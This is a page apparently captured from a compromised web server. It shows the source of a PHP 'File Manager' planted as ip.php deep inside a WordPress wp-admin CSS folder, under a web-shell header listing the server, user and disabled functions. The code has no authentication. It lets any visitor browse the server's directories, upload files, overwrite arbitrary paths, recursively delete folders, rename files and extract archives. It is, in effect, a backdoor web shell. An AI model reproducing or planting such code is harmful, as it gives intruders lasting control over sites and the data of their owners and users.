HEX
Server: Apache
System: Linux scp1.abinfocom.com 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: confeduphaar (1010)
PHP: 8.1.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/confeduphaar/public_html/wp-admin/css/colors/blue/blue/blue/blue/ip.php
<?php
// Get system information
$server_ip = $_SERVER['SERVER_ADDR'] ?? gethostbyname(gethostname());
$client_ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$hostname = gethostname();
$current_path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd();

// Security: prevent directory traversal
if (!$current_path || !is_dir($current_path)) {
    $current_path = getcwd();
}

// Handle file upload
if (isset($_FILES['upload']) && $_FILES['upload']['error'] === 0) {
    $uploadPath = $current_path . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']);
    if (move_uploaded_file($_FILES['upload']['tmp_name'], $uploadPath)) {
        $message = "✅ File uploaded successfully!";
    } else {
        $message = "❌ Upload failed!";
    }
    header("Location: ?path=" . urlencode($current_path));
    exit;
}

// Handle folder creation
if (isset($_POST['new_folder']) && !empty($_POST['new_folder'])) {
    $folderName = basename($_POST['new_folder']);
    $newFolder = $current_path . DIRECTORY_SEPARATOR . $folderName;
    if (mkdir($newFolder)) {
        $message = "✅ Folder created successfully!";
    } else {
        $message = "❌ Failed to create folder!";
    }
    header("Location: ?path=" . urlencode($current_path));
    exit;
}

// Recursive directory delete function
function deleteDirectory($dir) {
    if (!is_dir($dir)) {
        return unlink($dir);
    }
    
    $files = array_diff(scandir($dir), array('.', '..'));
    foreach ($files as $file) {
        $filePath = $dir . DIRECTORY_SEPARATOR . $file;
        if (is_dir($filePath)) {
            if (!deleteDirectory($filePath)) {
                return false;
            }
        } else {
            if (!unlink($filePath)) {
                return false;
            }
        }
    }
    return rmdir($dir);
}

// Handle delete
if (isset($_GET['delete'])) {
    $target = $current_path . DIRECTORY_SEPARATOR . basename($_GET['delete']);
    if (file_exists($target)) {
        if (is_dir($target)) {
            if (deleteDirectory($target)) {
                $message = "✅ Folder deleted!";
            } else {
                $message = "❌ Failed to delete folder!";
            }
        } else {
            if (unlink($target)) {
                $message = "✅ File deleted!";
            } else {
                $message = "❌ Failed to delete file!";
            }
        }
    }
    header("Location: ?path=" . urlencode($current_path));
    exit;
}

// Handle rename
if (isset($_POST['rename_old']) && isset($_POST['rename_new'])) {
    $old = $current_path . DIRECTORY_SEPARATOR . basename($_POST['rename_old']);
    $new = $current_path . DIRECTORY_SEPARATOR . basename($_POST['rename_new']);
    if (rename($old, $new)) {
        $message = "✅ Renamed successfully!";
    } else {
        $message = "❌ Failed to rename!";
    }
    header("Location: ?path=" . urlencode($current_path));
    exit;
}

// Handle file save (edit)
if (isset($_POST['file_path']) && isset($_POST['file_content'])) {
    if (file_put_contents($_POST['file_path'], $_POST['file_content']) !== false) {
        $message = "✅ File saved successfully!";
    } else {
        $message = "❌ Failed to save file!";
    }
    header("Location: ?path=" . urlencode(dirname($_POST['file_path'])));
    exit;
}

// Handle unzip
if (isset($_POST['unzip_file'])) {
    $zipFile = $current_path . DIRECTORY_SEPARATOR . basename($_POST['unzip_file']);
    
    if (!file_exists($zipFile)) {
        $message = "❌ ZIP file not found!";
    } elseif (!class_exists('ZipArchive')) {
        $message = "❌ ZIP extension not available!";
    } else {
        $zip = new ZipArchive();
        $result = $zip->open($zipFile);
        
        if ($result === TRUE) {
            // Extract to current directory
            if ($zip->extractTo($current_path)) {
                $message = "✅ ZIP file extracted successfully!";
            } else {
                $message = "❌ Failed to extract ZIP file!";
            }
            $zip->close();
        } else {
            $message = "❌ Failed to open ZIP file! Error code: " . $result;
        }
    }
    header("Location: ?path=" . urlencode($current_path));
    exit;
}

// Get directory contents
$items = [];
if (is_readable($current_path)) {
    $scan = scandir($current_path);
    foreach ($scan as $item) {
        if ($item !== '.' && $item !== '..') {
            $items[] = $item;
        }
    }
    sort($items);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager</title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { 
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; 
            background: #f5f5f5; 
            padding: 20px;
        }
        .container { 
            max-width: 1200px; 
            margin: 0 auto; 
            background: white; 
            border-radius: 10px; 
            box-shadow: 0 4px 6px rgba(0,0,0,0.1);
            overflow: hidden;
        }
        .header { 
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); 
            color: white; 
            padding: 20px; 
        }
        .header h1 { 
            margin-bottom: 10px; 
            font-size: 28px;
        }
        .system-info { 
            display: grid; 
            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); 
            gap: 15px; 
            margin-top: 15px;
        }
        .info-card { 
            background: rgba(255,255,255,0.1); 
            padding: 10px; 
            border-radius: 5px; 
            backdrop-filter: blur(10px);
        }
        .info-label { 
            font-size: 12px; 
            opacity: 0.8; 
            margin-bottom: 5px;
        }
        .info-value { 
            font-weight: bold; 
            word-break: break-all;
        }
        .content { 
            padding: 20px; 
        }
        .nav-bar { 
            background: #f8f9fa; 
            padding: 15px; 
            border-radius: 5px; 
            margin-bottom: 20px;
            display: flex;
            align-items: center;
            gap: 10px;
        }
        .nav-bar a { 
            color: #007bff; 
            text-decoration: none; 
            padding: 8px 15px; 
            border-radius: 5px; 
            transition: background 0.3s;
        }
        .nav-bar a:hover { 
            background: #e9ecef; 
        }
        .actions { 
            display: grid; 
            grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); 
            gap: 20px; 
            margin-bottom: 30px;
        }
        .action-card { 
            background: #f8f9fa; 
            padding: 20px; 
            border-radius: 8px; 
            border: 1px solid #dee2e6;
        }
        .action-card h3 { 
            margin-bottom: 15px; 
            color: #495057;
        }
        .form-group { 
            margin-bottom: 15px; 
        }
        .form-group:last-child { 
            margin-bottom: 0; 
        }
        input[type="file"], input[type="text"] { 
            width: 100%; 
            padding: 10px; 
            border: 1px solid #ddd; 
            border-radius: 5px; 
            font-size: 14px;
        }
        button { 
            background: #007bff; 
            color: white; 
            border: none; 
            padding: 10px 20px; 
            border-radius: 5px; 
            cursor: pointer; 
            font-size: 14px;
            transition: background 0.3s;
        }
        button:hover { 
            background: #0056b3; 
        }
        .file-table { 
            width: 100%; 
            border-collapse: collapse; 
            margin-top: 20px;
        }
        .file-table th { 
            background: #f8f9fa; 
            padding: 12px; 
            text-align: left; 
            border-bottom: 2px solid #dee2e6;
            font-weight: 600;
        }
        .file-table td { 
            padding: 12px; 
            border-bottom: 1px solid #dee2e6; 
            vertical-align: middle;
        }
        .file-table tr:hover { 
            background: #f8f9fa; 
        }
        .file-icon { 
            font-size: 18px; 
            margin-right: 8px;
        }
        .file-name { 
            font-weight: 500; 
        }
        .file-actions { 
            display: flex; 
            gap: 10px; 
            flex-wrap: wrap;
        }
        .file-actions a, .file-actions button { 
            padding: 5px 10px; 
            font-size: 12px; 
            text-decoration: none; 
            border-radius: 3px;
        }
        .btn-edit { background: #ffc107; color: #212529; }
        .btn-download { background: #28a745; color: white; }
        .btn-delete { background: #dc3545; color: white; }
        .edit-form { 
            background: #f8f9fa; 
            padding: 20px; 
            border-radius: 8px; 
            margin-top: 20px;
        }
        .edit-form textarea { 
            width: 100%; 
            height: 400px; 
            padding: 15px; 
            border: 1px solid #ddd; 
            border-radius: 5px; 
            font-family: 'Courier New', monospace; 
            font-size: 14px;
            resize: vertical;
        }
        .rename-form { 
            display: inline-flex; 
            gap: 5px; 
            align-items: center;
        }
        .rename-form input { 
            width: 120px; 
            padding: 5px; 
            font-size: 12px;
        }
        .message { 
            padding: 15px; 
            margin-bottom: 20px; 
            border-radius: 5px; 
            font-weight: 500;
        }
        .message.success { 
            background: #d4edda; 
            color: #155724; 
            border: 1px solid #c3e6cb; 
        }
        .message.error { 
            background: #f8d7da; 
            color: #721c24; 
            border: 1px solid #f5c6cb; 
        }
        @media (max-width: 768px) {
            .actions { grid-template-columns: 1fr; }
            .system-info { grid-template-columns: 1fr; }
            .file-actions { flex-direction: column; }
        }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>🗂️ File Manager</h1>
            <div class="system-info">
                <div class="info-card">
                    <div class="info-label">Server IP</div>
                    <div class="info-value"><?= htmlspecialchars($server_ip) ?></div>
                </div>
                <div class="info-card">
                    <div class="info-label">Client IP</div>
                    <div class="info-value"><?= htmlspecialchars($client_ip) ?></div>
                </div>
                <div class="info-card">
                    <div class="info-label">Hostname</div>
                    <div class="info-value"><?= htmlspecialchars($hostname) ?></div>
                </div>
                <div class="info-card">
                    <div class="info-label">Current Path</div>
                    <div class="info-value"><?= htmlspecialchars($current_path) ?></div>
                </div>
            </div>
        </div>

        <div class="content">
            <?php if (isset($message)): ?>
                <div class="message <?= strpos($message, '✅') !== false ? 'success' : 'error' ?>">
                    <?= htmlspecialchars($message) ?>
                </div>
            <?php endif; ?>

            <div class="nav-bar">
                <span style="font-weight: bold;">📁 Current: <?= htmlspecialchars($current_path) ?></span>
                <?php if (dirname($current_path) !== $current_path): ?>
                    <a href="?path=<?= urlencode(dirname($current_path)) ?>">⬅️ Back</a>
                <?php endif; ?>
                <a href="?path=<?= urlencode(getcwd()) ?>">🏠 Home</a>
            </div>

            <div class="actions">
                <div class="action-card">
                    <h3>📤 Upload File</h3>
                    <form method="POST" enctype="multipart/form-data">
                        <div class="form-group">
                            <input type="file" name="upload" required>
                        </div>
                        <button type="submit">Upload File</button>
                    </form>
                </div>

                <div class="action-card">
                    <h3>📁 Create Folder</h3>
                    <form method="POST">
                        <div class="form-group">
                            <input type="text" name="new_folder" placeholder="Enter folder name" required>
                        </div>
                        <button type="submit">Create Folder</button>
                    </form>
                </div>

                <div class="action-card">
                    <h3>📦 Unzip File</h3>
                    <form method="POST">
                        <div class="form-group">
                            <select name="unzip_file" required style="width: 100%; padding: 10px; border: 1px solid #ddd; border-radius: 5px; font-size: 14px;">
                                <option value="">Select ZIP file to extract...</option>
                                <?php foreach ($items as $item): 
                                    $itemPath = $current_path . DIRECTORY_SEPARATOR . $item;
                                    if (!is_dir($itemPath) && pathinfo($item, PATHINFO_EXTENSION) === 'zip'): ?>
                                        <option value="<?= htmlspecialchars($item) ?>"><?= htmlspecialchars($item) ?></option>
                                    <?php endif; 
                                endforeach; ?>
                            </select>
                        </div>
                        <button type="submit">🗂️ Extract Here</button>
                    </form>
                </div>
            </div>

            <?php if (!empty($items)): ?>
                <table class="file-table">
                    <thead>
                        <tr>
                            <th>Name</th>
                            <th>Type</th>
                            <th>Size</th>
                            <th>Modified</th>
                            <th>Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php foreach ($items as $item): 
                            $itemPath = $current_path . DIRECTORY_SEPARATOR . $item;
                            $isDir = is_dir($itemPath);
                            $size = $isDir ? '-' : number_format(filesize($itemPath)) . ' bytes';
                            $modified = date('Y-m-d H:i:s', filemtime($itemPath));
                        ?>
                        <tr>
                            <td>
                                <span class="file-icon"><?= $isDir ? '📁' : '📄' ?></span>
                                <?php if ($isDir): ?>
                                    <a href="?path=<?= urlencode($itemPath) ?>" class="file-name">
                                        <?= htmlspecialchars($item) ?>
                                    </a>
                                <?php else: ?>
                                    <span class="file-name"><?= htmlspecialchars($item) ?></span>
                                <?php endif; ?>
                            </td>
                            <td><?= $isDir ? 'Folder' : 'File' ?></td>
                            <td><?= $size ?></td>
                            <td><?= $modified ?></td>
                            <td>
                                <div class="file-actions">
                                    <form method="POST" class="rename-form">
                                        <input type="hidden" name="rename_old" value="<?= htmlspecialchars($item) ?>">
                                        <input type="text" name="rename_new" placeholder="New name" value="<?= htmlspecialchars($item) ?>">
                                        <button type="submit">Rename</button>
                                    </form>
                                    
                                    <?php if (!$isDir): ?>
                                        <a href="?path=<?= urlencode($current_path) ?>&edit=<?= urlencode($item) ?>" class="btn-edit">✏️ Edit</a>
                                        <a href="<?= htmlspecialchars($itemPath) ?>" download class="btn-download">⬇️ Download</a>
                                        <?php if (pathinfo($item, PATHINFO_EXTENSION) === 'zip'): ?>
                                            <form method="POST" style="display: inline;">
                                                <input type="hidden" name="unzip_file" value="<?= htmlspecialchars($item) ?>">
                                                <button type="submit" style="background: #17a2b8; padding: 5px 10px; font-size: 12px;" onclick="return confirm('Extract <?= htmlspecialchars($item) ?> to current directory?')">📦 Unzip</button>
                                            </form>
                                        <?php endif; ?>
                                    <?php endif; ?>
                                    
                                    <a href="?path=<?= urlencode($current_path) ?>&delete=<?= urlencode($item) ?>" 
                                       class="btn-delete" 
                                       onclick="return confirm('Are you sure you want to delete <?= htmlspecialchars($item) ?>?')">
                                        🗑️ Delete
                                    </a>
                                </div>
                            </td>
                        </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            <?php else: ?>
                <div style="text-align: center; padding: 40px; color: #6c757d;">
                    <h3>📂 Empty Directory</h3>
                    <p>No files or folders found in this directory.</p>
                </div>
            <?php endif; ?>

            <?php if (isset($_GET['edit'])): 
                $editFile = $current_path . DIRECTORY_SEPARATOR . basename($_GET['edit']);
                if (is_file($editFile) && is_readable($editFile)):
                    $content = file_get_contents($editFile);
            ?>
                <div class="edit-form">
                    <h3>✏️ Editing: <?= htmlspecialchars($_GET['edit']) ?></h3>
                    <form method="POST">
                        <input type="hidden" name="file_path" value="<?= htmlspecialchars($editFile) ?>">
                        <textarea name="file_content" placeholder="File content..."><?= htmlspecialchars($content) ?></textarea>
                        <br><br>
                        <button type="submit">💾 Save File</button>
                        <a href="?path=<?= urlencode($current_path) ?>" style="margin-left: 10px; padding: 10px 20px; background: #6c757d; color: white; text-decoration: none; border-radius: 5px;">Cancel</a>
                    </form>
                </div>
            <?php else: ?>
                <p style="color: #dc3545; margin-top: 20px;">❌ Unable to read file for editing.</p>
            <?php endif; ?>
            <?php endif; ?>
        </div>
    </div>
</body>
</html>